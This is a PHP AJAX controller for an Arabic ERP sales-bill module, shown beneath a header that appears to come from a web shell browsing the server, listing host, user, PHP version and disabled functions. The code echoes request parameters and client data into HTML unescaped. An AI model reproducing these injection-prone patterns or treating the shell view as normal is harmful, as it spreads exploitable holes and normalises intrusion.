HEX
Server: Apache
System: Linux server1.royalgt4.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: mostafedeg (1125)
PHP: 5.6.40
Disabled: mail,passthru,parse_ini_file,show_source,eval,assert,pcntl_exec,dl,putenv,proc_open,popen
Upload Files
File: /home/mostafedeg/public_html/erp/controllers/sellbillAjaxController.php
<?php

session_start();
ob_start();


//global varable
global $showoutside;

//to check if the page from .htacess
//$showoutside = $_GET['sn'];
// get the config file
include_once("../public/config.php");
include_once("initiateStaticSessionCommingWithCurl.php");
include_once("dailyentryfun.php");

//here the db files that include in the file
include("../public/include_dao.php");
//Sellbill
require_once('../models/dao/SellbillDAO.class.php');
require_once('../models/dto/Sellbill.class.php');
require_once('../models/mysql/SellbillMySqlDAO.class.php');
require_once('../models/mysql/ext/SellbillMySqlExtDAO.class.php');
//Sellbilldetail
require_once('../models/dao/SellbilldetailDAO.class.php');
require_once('../models/dto/Sellbilldetail.class.php');
require_once('../models/mysql/SellbilldetailMySqlDAO.class.php');
require_once('../models/mysql/ext/SellbilldetailMySqlExtDAO.class.php');
//Returnsellbill
require_once('../models/dao/ReturnsellbillDAO.class.php');
require_once('../models/dto/Returnsellbill.class.php');
require_once('../models/mysql/ReturnsellbillMySqlDAO.class.php');
require_once('../models/mysql/ext/ReturnsellbillMySqlExtDAO.class.php');
//Returnsellbilldetail
require_once('../models/dao/ReturnsellbilldetailDAO.class.php');
require_once('../models/dto/Returnsellbilldetail.class.php');
require_once('../models/mysql/ReturnsellbilldetailMySqlDAO.class.php');
require_once('../models/mysql/ext/ReturnsellbilldetailMySqlExtDAO.class.php');
//Storereport
require_once('../models/dao/StorereportDAO.class.php');
require_once('../models/dto/Storereport.class.php');
require_once('../models/mysql/StorereportMySqlDAO.class.php');
require_once('../models/mysql/ext/StorereportMySqlExtDAO.class.php');
//Storedetail
require_once('../models/dao/StoredetailDAO.class.php');
require_once('../models/dto/Storedetail.class.php');
require_once('../models/mysql/StoredetailMySqlDAO.class.php');
require_once('../models/mysql/ext/StoredetailMySqlExtDAO.class.php');
//Store
require_once('../models/dao/StoreDAO.class.php');
require_once('../models/dto/Store.class.php');
require_once('../models/mysql/StoreMySqlDAO.class.php');
require_once('../models/mysql/ext/StoreMySqlExtDAO.class.php');
//Product
require_once('../models/dao/ProductDAO.class.php');
require_once('../models/dto/Product.class.php');
require_once('../models/mysql/ProductMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductMySqlExtDAO.class.php');
//Save
require_once('../models/dao/SaveDAO.class.php');
require_once('../models/dto/Save.class.php');
require_once('../models/mysql/SaveMySqlDAO.class.php');
require_once('../models/mysql/ext/SaveMySqlExtDAO.class.php');
//Savedaily
require_once('../models/dao/SavedailyDAO.class.php');
require_once('../models/dto/Savedaily.class.php');
require_once('../models/mysql/SavedailyMySqlDAO.class.php');
require_once('../models/mysql/ext/SavedailyMySqlExtDAO.class.php');
//Client
require_once('../models/dao/ClientDAO.class.php');
require_once('../models/dto/Client.class.php');
require_once('../models/mysql/ClientMySqlDAO.class.php');
require_once('../models/mysql/ext/ClientMySqlExtDAO.class.php');
//Clientdebtchange
require_once('../models/dao/ClientdebtchangeDAO.class.php');
require_once('../models/dto/Clientdebtchange.class.php');
require_once('../models/mysql/ClientdebtchangeMySqlDAO.class.php');
require_once('../models/mysql/ext/ClientdebtchangeMySqlExtDAO.class.php');
//Productunit
require_once('../models/dao/ProductunitDAO.class.php');
require_once('../models/dto/Productunit.class.php');
require_once('../models/mysql/ProductunitMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductunitMySqlExtDAO.class.php');
//Productserial
require_once('../models/dao/ProductserialDAO.class.php');
require_once('../models/dto/Productserial.class.php');
require_once('../models/mysql/ProductserialMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductserialMySqlExtDAO.class.php');
//Productcat
require_once('../models/dao/ProductcatDAO.class.php');
require_once('../models/dto/Productcat.class.php');
require_once('../models/mysql/ProductcatMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductcatMySqlExtDAO.class.php');
//Billsetting
require_once('../models/dao/BillsettingsDAO.class.php');
require_once('../models/dto/Billsetting.class.php');
require_once('../models/mysql/BillsettingsMySqlDAO.class.php');
require_once('../models/mysql/ext/BillsettingsMySqlExtDAO.class.php');
//Sellandruternbilldetail
require_once('../models/dao/SellandruternbilldetailDAO.class.php');
require_once('../models/dto/Sellandruternbilldetail.class.php');
require_once('../models/mysql/SellandruternbilldetailMySqlDAO.class.php');
require_once('../models/mysql/ext/SellandruternbilldetailMySqlExtDAO.class.php');

//Sellbillandrutern
require_once('../models/dao/SellbillandruternDAO.class.php');
require_once('../models/dto/Sellbillandrutern.class.php');
require_once('../models/mysql/SellbillandruternMySqlDAO.class.php');
require_once('../models/mysql/ext/SellbillandruternMySqlExtDAO.class.php');

//Billname
require_once('../models/dao/BillnameDAO.class.php');
require_once('../models/dto/Billname.class.php');
require_once('../models/mysql/BillnameMySqlDAO.class.php');
require_once('../models/mysql/ext/BillnameMySqlExtDAO.class.php');

//Billproperty
require_once('../models/dao/BillpropertyDAO.class.php');
require_once('../models/dto/Billproperty.class.php');
require_once('../models/mysql/BillpropertyMySqlDAO.class.php');
require_once('../models/mysql/ext/BillpropertyMySqlExtDAO.class.php');
//Usergroup
require_once('../models/dao/UsergroupDAO.class.php');
require_once('../models/dto/Usergroup.class.php');
require_once('../models/mysql/UsergroupMySqlDAO.class.php');
require_once('../models/mysql/ext/UsergroupMySqlExtDAO.class.php');
//Restauranthall
require_once('../models/dao/RestauranthallDAO.class.php');
require_once('../models/dto/Restauranthall.class.php');
require_once('../models/mysql/RestauranthallMySqlDAO.class.php');
require_once('../models/mysql/ext/RestauranthallMySqlExtDAO.class.php');
//Restauranttable
require_once('../models/dao/RestauranttableDAO.class.php');
require_once('../models/dto/Restauranttable.class.php');
require_once('../models/mysql/RestauranttableMySqlDAO.class.php');
require_once('../models/mysql/ext/RestauranttableMySqlExtDAO.class.php');
//Restaurantorder
require_once('../models/dao/RestaurantorderDAO.class.php');
require_once('../models/dto/Restaurantorder.class.php');
require_once('../models/mysql/RestaurantorderMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantorderMySqlExtDAO.class.php');
//Restaurantorderdetail
require_once('../models/dao/RestaurantorderdetailsDAO.class.php');
require_once('../models/dto/Restaurantorderdetail.class.php');
require_once('../models/mysql/RestaurantorderdetailsMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantorderdetailsMySqlExtDAO.class.php');
//Restaurantkitchenprint
require_once('../models/dao/RestaurantkitchenprintDAO.class.php');
require_once('../models/dto/Restaurantkitchenprint.class.php');
require_once('../models/mysql/RestaurantkitchenprintMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantkitchenprintMySqlExtDAO.class.php');
//Restaurantorderdeliverydetail
require_once('../models/dao/RestaurantorderdeliverydetailsDAO.class.php');
require_once('../models/dto/Restaurantorderdeliverydetail.class.php');
require_once('../models/mysql/RestaurantorderdeliverydetailsMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantorderdeliverydetailsMySqlExtDAO.class.php');

//
require_once('../models/dao/SizecolorDAO.class.php');
require_once('../models/dto/Sizecolor.class.php');
require_once('../models/mysql/SizecolorMySqlDAO.class.php');
require_once('../models/mysql/ext/SizecolorMySqlExtDAO.class.php');
//
require_once('../models/dao/SizecolorstoredetailDAO.class.php');
require_once('../models/dto/Sizecolorstoredetail.class.php');
require_once('../models/mysql/SizecolorstoredetailMySqlDAO.class.php');
require_once('../models/mysql/ext/SizecolorstoredetailMySqlExtDAO.class.php');

//Restaurantplaystationplay
require_once('../models/dao/RestaurantplaystationplayDAO.class.php');
require_once('../models/dto/Restaurantplaystationplay.class.php');
require_once('../models/mysql/RestaurantplaystationplayMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantplaystationplayMySqlExtDAO.class.php');
//Simplemanufacturesetting
require_once('../models/dao/SimplemanufacturesettingDAO.class.php');
require_once('../models/dto/Simplemanufacturesetting.class.php');
require_once('../models/mysql/SimplemanufacturesettingMySqlDAO.class.php');
require_once('../models/mysql/ext/SimplemanufacturesettingMySqlExtDAO.class.php');

//Programsetting
require_once('../models/dao/ProgramsettingsDAO.class.php');
require_once('../models/dto/Programsetting.class.php');
require_once('../models/mysql/ProgramsettingsMySqlDAO.class.php');
require_once('../models/mysql/ext/ProgramsettingsMySqlExtDAO.class.php');


//Productunit
require_once('../models/dao/ProductunitDAO.class.php');
require_once('../models/dto/Productunit.class.php');
require_once('../models/mysql/ProductunitMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductunitMySqlExtDAO.class.php');


//expense
require_once('../models/dao/ExpensesDAO.class.php');
require_once('../models/dto/Expense.class.php');
require_once('../models/mysql/ExpensesMySqlDAO.class.php');
require_once('../models/mysql/ext/ExpensesMySqlExtDAO.class.php');

//expensecat
require_once('../models/dao/ExpensestypeDAO.class.php');
require_once('../models/dto/Expensestype.class.php');
require_once('../models/mysql/ExpensestypeMySqlDAO.class.php');
require_once('../models/mysql/ext/ExpensestypeMySqlExtDAO.class.php');

//Bankaccount
require_once('../models/dao/BankaccountDAO.class.php');
require_once('../models/dto/Bankaccount.class.php');
require_once('../models/mysql/BankaccountMySqlDAO.class.php');
require_once('../models/mysql/ext/BankaccountMySqlExtDAO.class.php');
//Availableparcode
require_once('../models/dao/AvailableparcodeDAO.class.php');
require_once('../models/dto/Availableparcode.class.php');
require_once('../models/mysql/AvailableparcodeMySqlDAO.class.php');
require_once('../models/mysql/ext/AvailableparcodeMySqlExtDAO.class.php');
//Billtemplate
require_once('../models/dao/BilltemplateDAO.class.php');
require_once('../models/dto/Billtemplate.class.php');
require_once('../models/mysql/BilltemplateMySqlDAO.class.php');
require_once('../models/mysql/ext/BilltemplateMySqlExtDAO.class.php');
//Billtemplatedetail
require_once('../models/dao/BilltemplatedetailDAO.class.php');
require_once('../models/dto/Billtemplatedetail.class.php');
require_once('../models/mysql/BilltemplatedetailMySqlDAO.class.php');
require_once('../models/mysql/ext/BilltemplatedetailMySqlExtDAO.class.php');

//get the do the action
$do = $_GET['do'];

/* ======================


  ======================== */

//here goes the instances and general variables
//Sellbill
$mySellbill = new Sellbill();
$mySellbillRecord = new SellbillMySqlDAO();
$mySellbillEx = $sellBillEX = new SellbillMySqlExtDAO();
//Sellbilldetail
$mySellbilldetail = new Sellbilldetail();
$mySellbilldetailRecord = new SellbilldetailMySqlDAO();
$mySellbilldetailEx = new SellbilldetailMySqlExtDAO();
//Returnsellbill
$myReturnsellbill = new Returnsellbill();
$myReturnsellbillRecord = new ReturnsellbillMySqlDAO();
$myReturnsellbillEx = new ReturnsellbillMySqlExtDAO();
//Returnsellbilldetail
$myReturnsellbilldetail = new Returnsellbilldetail();
$myReturnsellbilldetailRecord = new ReturnsellbilldetailMySqlDAO();
$myReturnsellbilldetailEx = new ReturnsellbilldetailMySqlExtDAO();
//Storereport
$myStorereport = new Storereport();
$myStorereportRecord = new StorereportMySqlDAO();
$myStorereportEx = $storeReportExt = new StorereportMySqlExtDAO();
//Storedetail
$myStoredetail = new Storedetail();
$myStoredetailEx = $storeDetailExt = new StoredetailMySqlExtDAO();
$myStoredetailRecord = new StoredetailMySqlDAO();
//Store
$myStoreRecord = new StoreMySqlDAO();
//Product
$myProduct = new Product();
$myProductRecord = $productDAO = new ProductMySqlDAO();
$myProductEx = $productExt = new ProductMySqlExtDAO();
//save
$mySave = new Save();
$mySaveRecord = $mySaveDAO = new SaveMySqlDAO();
$mySaveEx = new SaveMySqlExtDAO();
//savedaily
$mySavedaily = new Savedaily();
$mySavedailyRecord = new SavedailyMySqlDAO();
$mySavedailyEx = new SavedailyMySqlExtDAO();
//Client
$myClient = new Client();
$myClientRecord = new ClientMySqlDAO();
//Clientdebtchange
$myClientdebtchange = $clientDeptChange = new Clientdebtchange();
$myClientdebtchangeRecord = $clientDeptChangeDAO = new ClientdebtchangeMySqlDAO();
$clientDeptChangeExt = new ClientdebtchangeMySqlExtDAO();
//Productunit
$myProductunit = new Productunit();
$myProductunitEx = new ProductunitMySqlExtDAO();
$myProductunitRecord = new ProductunitMySqlDAO();
//Productserial
$myProductserialDao = new ProductserialMySqlDAO();
$myProductserialEx = new ProductserialMySqlExtDAO();
//Productcat
$myProductcatRecord = $productCatDAO = new ProductcatMySqlDAO();
$myProductcatEx = $productCatExt = new ProductcatMySqlExtDAO();
//Billsetting
$myBillsettingEx = new BillsettingsMySqlExtDAO();

//Sellbillandrutern
$Sellbillandrutern = new Sellbillandrutern();
$SellbillandruternDAO = new SellbillandruternMySqlDAO();
$SellbillandruternEX = new SellbillandruternMySqlExtDAO();
//Sellandruternbilldetail
$mySellandruternbilldetail = new Sellandruternbilldetail();
$mySellandruternbilldetailRecord = new SellandruternbilldetailMySqlDAO();
$mySellandruternbilldetailEx = new SellandruternbilldetailMySqlExtDAO();

//Client
$client = new Client();
$clientDAO = $myClientRecord = new ClientMySqlDAO();
$clientExt = $clientEX = new ClientMySqlExtDAO();

//Store
$store = new Store();
$storeDAO = new StoreMySqlDAO();
$storeEX = new StoreMySqlExtDAO();

//User
$user = new User();
$userDAO = new UserMySqlDAO();
$userEX = new UserMySqlExtDAO();

//Billname
$myBillnameRecord = new BillnameMySqlDAO();
$myBillnameEx = new BillnameMySqlExtDAO();
//Billproperty
$Billproperty = new Billproperty();
$BillpropertyDAO = new BillpropertyMySqlDAO();
$BillpropertyEX = new BillpropertyMySqlExtDAO();

//Programsetting
$programSettingDAO = new ProgramsettingsMySqlDAO();
$programSettingEx = new ProgramsettingsMySqlExtDAO();

//Usergroup
$Usergroup = new Usergroup();
$UsergroupDAO = new UsergroupMySqlDAO();
$UsergroupEX = new UsergroupMySqlExtDAO();
//Restauranthall
$restaurantHall = new Restauranthall();
$restaurantHallDAO = new RestauranthallMySqlDAO();
$restaurantHallEX = new RestauranthallMySqlExtDAO();
//Restauranttable
$restaurantTable = new Restauranttable();
$restaurantTableDAO = new RestauranttableMySqlDAO();
$restaurantTableEX = new RestauranttableMySqlExtDAO();
//Restaurantorder
$restaurantOrder = new Restaurantorder();
$restaurantOrderDAO = new RestaurantorderMySqlDAO();
$restaurantOrderEX = new RestaurantorderMySqlExtDAO();
//Restaurantorderdetail
$restaurantOrderDetails = new Restaurantorderdetail();
$restaurantOrderDetailsDAO = new RestaurantorderdetailsMySqlDAO();
$restaurantOrderDetailsEX = new RestaurantorderdetailsMySqlExtDAO();
//Restaurantkitchenprint
$restaurantkitchenprint = new Restaurantkitchenprint();
$restaurantkitchenprintDAO = new RestaurantkitchenprintMySqlDAO();
$restaurantkitchenprintEX = new RestaurantkitchenprintMySqlExtDAO();
//Restaurantorderdeliverydetail
$restaurantOrderDeliveryDetail = new Restaurantorderdeliverydetail();
$restaurantOrderDeliveryDetailDAO = new RestaurantorderdeliverydetailsMySqlDAO();
$restaurantOrderDeliveryDetailEX = new RestaurantorderdeliverydetailsMySqlExtDAO();
//Relusergrouppropertie
$myRelusergrouppropertie = new Relusergrouppropertie();
$myRelusergrouppropertieRecord = new RelusergrouppropertiesMySqlDAO();
$myRelusergrouppropertieExt = new RelusergrouppropertiesMySqlExtDAO();

//
$sizeColor = new Sizecolor();
$sizeColorDAO = new SizecolorMySqlDAO();
$sizeColorEX = new SizecolorMySqlExtDAO();
//
$sizeColorStoreDetail = new Sizecolorstoredetail();
$sizeColorStoreDetailDAO = new SizecolorstoredetailMySqlDAO();
$sizeColorStoreDetailEX = new SizecolorstoredetailMySqlExtDAO();
//Restaurantplaystationplay
$restaurantPlaystationPlay = new Restaurantplaystationplay();
$restaurantPlaystationPlayDAO = new RestaurantplaystationplayMySqlDAO();
$restaurantPlaystationPlayEX = new RestaurantplaystationplayMySqlExtDAO();
//
$simplesetting = new Simplemanufacturesetting();
$simplesettingDao = new SimplemanufacturesettingMySqlDAO();
$simplesettingExt = new SimplemanufacturesettingMySqlExtDAO();


//Productunit
$myProductunitEx = new ProductunitMySqlExtDAO();
$myProductunitRecord = new ProductunitMySqlDAO();

//Expensetype
$ExpensetypeDAO = new ExpensestypeMySqlDAO();
$Expensetype = new Expensestype();
$ExpensetypeExt = new ExpensestypeMySqlExtDAO();
//Expenses
$ExpenseDAO = new ExpensesMySqlDAO();
$Expense = new Expense();
$ExpenseExt = new ExpensesMySqlExtDAO();

//Bankaccount
$myBankaccount = new Bankaccount();
$myBankaccountRecord = new BankaccountMySqlDAO();
$myBankaccountEx = new BankaccountMySqlExtDAO();

//Accountmovement
$myAccountmovement = new Accountmovement();
$myAccountmovementRecord = new AccountmovementMySqlDAO();
$myAccountmovementExt = new AccountmovementMySqlExtDAO();
//Availableparcode
$availableParcode = new Availableparcode();
$availableParcodeDAO = new AvailableparcodeMySqlDAO();
$availableParcodeEX = new AvailableparcodeMySqlExtDAO();
//Billtemplate
$billTemplate = new Billtemplate();
$billTemplateDAO = new BilltemplateMySqlDAO();
$billTemplateEX = new BilltemplateMySqlExtDAO();
//Billtemplatedetail
$billTemplateDetail = new Billtemplatedetail();
$billTemplateDetailDAO = new BilltemplatedetailMySqlDAO();
$billTemplateDetailEX = new BilltemplatedetailMySqlExtDAO();

$db_host = ConnectionProperty::getHost();
$db_user = ConnectionProperty::getUser();
$passd = ConnectionProperty::getPassword();
$dbname = ConnectionProperty::getDatabase();
//
$clientId = isset($_GET['clientid']) ? $_GET['clientid'] : '';
$productId = isset($_GET['productid']) ? $_GET['productid'] : '';
$itr = isset($_GET['itrs']) ? $_GET['itrs'] : '';
$tabindex = isset($_GET['tabindex']) ? $_GET['tabindex'] : '';
$storeId = isset($_GET['storeid']) ? $_GET['storeid'] : '';
$productUnit = isset($_GET['productunit']) ? $_GET['productunit'] : '';
$priceType = isset($_GET['pricetype']) ? $_GET['pricetype'] : '';
$parcode = isset($_GET['parcode']) ? $_GET['parcode'] : '';
$billnameid = isset($_GET['billnameid']) ? $_GET['billnameid'] : '';


//$parcode = str_replace(' ', '', $parcode); //remove spaces from parcode
$parcode = preg_replace('/\s+/', '', $parcode); //For all whitespace (including tabs and line ends), use preg_replace



$Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
$smarty->assign("Usergroupdata", $Usergroupdata);

$Programsettingdata = $programSettingDAO->load(1);
$Programsettingdata->restaurantServiceOn = explode(',', $Programsettingdata->restaurantServiceOn);
$smarty->assign("Programsettingdata", $Programsettingdata);
$noOfDecimalPlaces = 2; //($Programsettingdata->roundnumbers == 0) ? 0 : (int) $Programsettingdata->noOfDecimalPlaces;

$lastLevelCatIDS = array();
$lastLevelCats = array();
$catsIDS = "";
if ($do == "getclientdebt" && isset($clientId) && $clientId != "-1") {
    // here the function that do the action
    $clientDebt = getclientdebt($clientId);
    echo $clientDebt;
} elseif ($do == "getclientdebtlimit" && isset($clientId) && $clientId != "-1") {
    $debtLimit = getclientdebtlimit($clientId);
    echo json_encode(array('debtLimit' => $debtLimit, 'clientDefaultDebtLimitControl' => $Programsettingdata->clientDefaultDebtLimitControl));
} elseif ($do == "clientstore") {
    $storeData = getSellStores();
    //$data = '<div  style="display:none">
    //    '<label class="col-lg-4 control-label">المخزن</label>
    //                            <div class="col-lg-8">
    //                            <select class = "select2 wdt100" name = "storeid" id = "storeid" >';
    $data = '';
    $data2 = '';
    foreach ($storeData as $store) {
        $data .= '  <option value = "' . $store->storeId . '">' . $store->storeName . '</option>';
        $data2 .= $store->storeName . ' ';
    }
    //    $data .=' </select > </div>';
    //         </div>';
    $userdata = $userDAO->load($_SESSION['userid']);

    echo $data . ',,,,,' . $data2 . ',,,,,' . $storeData[0]->storeId . ',,,,,' . $userdata->userstoreidDef;
} elseif ($do == "getclientdata" && isset($clientId) && $clientId != "-1") {


    // here the function that do the action
    $clientData = $myClientRecord->load($clientId);

    $mobile = '';
    if ($clientData->clientmobile != '')
        $mobile = ' - ' . $clientData->clientmobile;
    echo '<div class = "form-group" >
            <label class = "col-lg-3 control-label">عنوان العميل</label>
            <div class = "col-lg-4">' . $clientData->clientaddress . ' </div>
          </div>
        <div class = "form-group" >
          <label class = "col-lg-3 control-label">رقم التليفون</label>
          <div class = "col-lg-4"> ' . $clientData->clientphone . ' ' . $mobile . '</div>
        </div>
        <div class = "form-group" >
            <label class = "col-lg-3 control-label">كود العميل</label>
            <div class = "col-lg-4">' . $clientData->clientcode . '</div>
        </div>  <!-- note this closing was not here before i reformat the code ........ -->
        <div id="tempCommentAz" style="display:none">
            <div class = "form-group" >
                <label class = "col-lg-4 control-label">' . $Programsettingdata->commentClient . '</label>
                <div class = "col-lg-4">' . $clientData->clientdetails . ' </div> </div>
        </div>';
} elseif ($do == "getclientcommentAZ" && isset($clientId) && $clientId != "-1") {


    // here the function that do the action
    $clientData = $myClientRecord->load($clientId);
    echo ' <div class = "form-group" > <label class = "col-lg-4 control-label">' . $Programsettingdata->commentClient . '</label> <div class = "col-lg-4">' . $clientData->clientdetails . ' </div> </div>';
} elseif ($do == "getclientDebtAndDataAndcommentAZ" && isset($clientId) && $clientId != "-1") {


    // here the function that do the action
    $clientData = $myClientRecord->load($clientId);

    //this conversion to help json_encode
    $clientData->clientaddress = mb_convert_encoding($clientData->clientaddress, 'UTF-8', 'UTF-8');
    $clientData->clientphone = mb_convert_encoding($clientData->clientphone, 'UTF-8', 'UTF-8');
    $clientData->clientcode = mb_convert_encoding($clientData->clientcode, 'UTF-8', 'UTF-8');
    $clientData->clientdetails = mb_convert_encoding($clientData->clientdetails, 'UTF-8', 'UTF-8');
    $Programsettingdata->commentClient = mb_convert_encoding($Programsettingdata->commentClient, 'UTF-8', 'UTF-8');
    $data = array();
    $data['clientData'] = ' <div class = "form-group" > <label class = "col-lg-3 control-label">عنوان العميل</label> <div class = "col-lg-4">' . $clientData->clientaddress . ' </div> </div> <div class = "form-group" ><label class = "col-lg-3 control-label">رقم التليفون</label>'
        . ' <div class = "col-lg-4"> ' . $clientData->clientphone . ' </div> </div> <div class = "form-group" > <label class = "col-lg-3 control-label">كود العميل</label> <div class = "col-lg-4">
                    ' . $clientData->clientcode . ' </div>';
    $data['clientComment'] = ' <div class = "form-group" > <label class = "col-lg-4 control-label">' . $Programsettingdata->commentClient . '</label> <div class = "col-lg-4">' . $clientData->clientdetails . ' </div> </div>';
    $data['clientDebt'] = $clientData->clientdebt;
    echo json_encode($data);
} elseif ($do == "clientprice") {
    $id = $_REQUEST["id"];
    $allselldata = $mySellbillEx->loadlastSellBillByclient($id);
    $allsellandreturndata = $SellbillandruternEX->loadlastSellBillByclient($id);

    if (count($allsellandreturndata) > 0 || count($allselldata) > 0) {
        if ($allselldata->sellbilldate >= $allsellandreturndata->sellbilldate) {

            //echo $allselldata->sellbillid;

            $mydata = $mySellbilldetailEx->loadlastpriceforclient($allselldata->sellbillid);
            echo $mydata->pricetype;
        } else {
            //echo $allsellandreturndata->sellbillid;
            $mydata = $mySellandruternbilldetailEx->loadlastpriceforclient($allsellandreturndata->sellbillid);
            echo $mydata->pricetype;
        }
    } else {
        echo -1;
    }
} elseif ($do == "getproduct" && isset($storeId) && $storeId != "-1") {
    $productData = loadProduct($storeId);
    $smarty->assign("productData", $productData);
    $smarty->display("sellbillview/storedetail.html");
} elseif ($do == "getproductbyParcode" && isset($storeId) && $storeId != "-1" && isset($parcode) && $parcode != "") {
    $productData = loadProductByParcodeAndStoreId($storeId, $parcode);

    $productId = $productData->productid;
    echo $productId;
} elseif ($do == "getproductNamebyOnlyParcode" && isset($parcode) && $parcode != "" && isset($billnameid) && $billnameid != "") {
    //loadProductByParcodeAndDon($parcode, 0);
    loadProductByParcodeAndDonExt($parcode, $billnameid, 0);
} elseif ($do == "getReturnproductNamebyOnlyParcode" && isset($parcode) && $parcode != "" && isset($billnameid) && $billnameid != "") {
    //loadProductByParcodeAndDon($parcode, 1);
    loadProductByParcodeAndDonExt($parcode, $billnameid, 1);
} elseif ($do == "getprice" && isset($productId) && $productId != "-1" && isset($storeId) && $storeId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1") {
    // here the function that do the action
    $productPriceData = getProoductPrice($productId, $storeId);

    $productData = $productPriceData[0];
    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
    }

    $productnumberData = $myProductunitRecord->load($productUnit);
    $productnumber = $productnumberData->productnumber;

    $productPrice = $price * $productnumber;

    $quantity = $productPriceData[1];

    echo '<input name = "proprice' . $itr . '" id = "proprice' . $itr . '" value = "' . $productPrice . '" class = "getprototal wd50 aw_m aw_mt aw_pp numberclic enteraction positiveNo" type = "text" tabindex = "' . $tabindex . '" /><input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "' . $quantity . '" size = "7" readonly />';
} elseif ($do == "getpriceByOnlyProduct" && isset($productId) && $productId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1") {

    // here the function that do the action
    //$productData = getProoductPriceByonlyProductId($productId);
    $productData = getProoductPriceByProductunit($productId, $productUnit);

    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
    }

    if ($productData->selldiscount > 0 && $productData->discounttype == 0) {
        $productPrice = $price - $productData->selldiscount;
    } elseif ($productData->selldiscount > 0 && $productData->discounttype == 1) {
        $productPrice = $price - ((($productData->selldiscount) / 100) * ($price));
    } else {
        $productPrice = $price;
    }

    //    $productnumberData = $myProductunitRecord->load($productUnit);
    //    $productnumber = $productnumberData->productnumber;
    //    $productPrice = $productPrice * $productnumber;
    ##default values of $pricehtml and $discounthtml are zero
    $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat" value = "' . $productPrice . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
    $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="lastClientDisPer' . $itr . '" value="0"/>';

    if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPrices == 0 || $Programsettingdata->showPrevDiscount == 1)) {
        $sellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productUnit);

        // if has selldata and setting want to use last price data
        if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPrices == 0) {
            $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat" value = "' . $sellbilldetailData[1] . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
        }
        // if has selldata and setting want to use last discount data
        if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscount == 1) {
            $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="' . $sellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="lastClientDisPer' . $itr . '" value="' . $sellbilldetailData[0]->discounttype . '"/>';
        }
    }
    echo $pricehtml . $discounthtml;
} elseif ($do == "getunit" && isset($productId) && $productId != "-1") {

    $productunitData = loadProductUnit($productId, $parcode);
    //$smarty->assign("productunitData",$productunitData);

    $smarty->assign("tabindex", $tabindex);
    $smarty->assign("itr", $itr);
    //$smarty->display("sellbillview/productunit.html");
} elseif ($do == "checkClientSoldBefore") {
    $clientId = (int) $_POST['client'];
    $productsIDs = $_POST['products'];
    $notSoldBeforeProducts = '';
    if ($clientId > 0 && !empty($productsIDs)) {
        $productsIDs = array_unique(explode(",", $productsIDs));
        //$productunitData = loadProductUnit($productId, $parcode);
        foreach ($productsIDs as $productId) {
            if ($productId > 0) {
                $sellbilldetailData = getProductPriceFromSellBill($productId, $clientId, 0);
                if (count($sellbilldetailData[0]) == 0) {
                    $notSoldBeforeProducts .= $productId . ',';
                }
            }
        }
        $notSoldBeforeProducts = rtrim($notSoldBeforeProducts, ',');
    }
    echo $notSoldBeforeProducts;
} elseif ($do == "getparcode" && isset($productId) && $productId != "-1") {
} elseif ($do == "getProductQuantity" && isset($productId) && $productId != "-1" && $productId != "" && isset($storeId) && $storeId != "" && $storeId != "-1") {

    $productData = getProoductPrice($productId, $storeId);

    $quantity = $productData[1];
    // if it is service quantity is zero , so give it quantity to stop quantity check alert
    if ($productData[0]->isService == 1) {
        $quantity = 100;
    }

    echo $quantity;
} elseif ($do == "updateshippingDate") {
    $shippingDate = $_POST['shippingDate'];
    $billId = (int) $_POST['id'];
    $mySellbillEx->updateshippingDate($shippingDate, $billId);
    echo 1;
} elseif ($do == "productAvailableParcodes") {
    $name = $_GET['term']; //It could be product name or category name
    $productId = (isset($_GET['pro']) && !empty($_GET['pro'])) ? $_GET['pro'] : 0;
    $storeId = (isset($_GET['store']) && !empty($_GET['store'])) ? $_GET['store'] : 0;
    $sizeId = 0;
    $colorId = 0;
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
        $sizeId = $productIdComplex[1];
